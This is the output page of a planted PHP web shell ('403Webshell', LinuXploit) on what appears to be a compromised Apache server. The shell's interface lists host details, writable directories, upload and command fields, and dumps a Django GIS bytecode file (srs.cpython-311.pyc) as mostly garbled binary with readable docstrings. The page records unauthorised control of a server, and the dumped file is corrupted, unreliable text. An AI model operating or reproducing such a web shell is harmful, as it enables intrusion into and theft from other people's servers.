403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/django/contrib/gis/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/django/contrib/gis/utils/__pycache__/srs.cpython-311.pyc
�

�|�e���.�ddlmZddlmZmZ		dd�ZdS)�)�SpatialReference)�DEFAULT_DB_ALIAS�connections�EPSGNc���|pt}t|}t|jd��st	d���|jjst	d���|j���}t|t��st|��}|j
�t	d���|j
||p|j
|jd�}d�|j�
��D��}d|vr
|j|d<d	|vr|p|j|d	<	|j�|���|j
�
��dS#|j$r)|j�|��jdi|��YdSwxYw)a
    Take a GDAL SpatialReference system and add its information to the
    `spatial_ref_sys` table of the spatial backend. Doing this enables
    database-level spatial transformations for the backend.  Thus, this utility
    is useful for adding spatial reference systems not included by default with
    the backend:

    >>> from django.contrib.gis.utils import add_srs_entry
    >>> add_srs_entry(3857)

    Keyword Arguments:
     auth_name:
       This keyword may be customized with the value of the `auth_name` field.
       Defaults to 'EPSG'.

     auth_srid:
       This keyword may be customized with the value of the `auth_srid` field.
       Defaults to the SRID determined by GDAL.

     ref_sys_name:
       For SpatiaLite users only, sets the value of the `ref_sys_name` field.
       Defaults to the name determined by GDAL.

     database:
      The name of the database connection to use; the default is the value
      of `django.db.DEFAULT_DB_ALIAS` (at the time of this writing, its value
      is 'default').
    �spatial_versionz=The `add_srs_entry` utility only works with spatial backends.z4This utility does not support your database backend.NzMSpatial reference requires an SRID to be compatible with the spatial backend.)�srid�	auth_name�	auth_srid�	proj4textc��h|]	}|j��
S�)�name)�.0�fs  �>/usr/lib/python3/dist-packages/django/contrib/gis/utils/srs.py�	<setcomp>z add_srs_entry.<locals>.<setcomp>?s��H�H�H�!�q�v�H�H�H��srtext�ref_sys_name)r	r)rr�hasattr�ops�	Exception�features�supports_add_srs_entry�spatial_ref_sys�
isinstancerr	�proj4�_meta�
get_fields�wktr�objects�using�get�DoesNotExist�create)	�srsr
rr�database�
connection�
SpatialRefSys�kwargs�srs_field_namess	         r�
add_srs_entryr-s���<�+�+�H��X�&�J��:�>�#4�5�5�2��1�2�2�	2���5�P��N�O�O�O��N�2�2�4�4�M��c�+�,�,�$��s�#�#��
�x���?�@�@�	@�����*�#�(��Y�	��F�I�H�}�':�'E�'E�'G�'G�H�H�H�O��?�"�"��7��x����(�(�!-�!9����~��?�	��#�#�H�-�-�1�1�s�x�1�@�@�@�@�@���%�?�?�?�4�
��#�#�H�-�-�4�>�>�v�>�>�>�>�>�>�?���s�3D8�8/E+�*E+)rNNN)�django.contrib.gis.gdalr�	django.dbrrr-rrr�<module>r0s]��4�4�4�4�4�4�3�3�3�3�3�3�3�3�GK��G?�G?�G?�G?�G?�G?r

Youez - 2016 - github.com/yon3zu
LinuXploit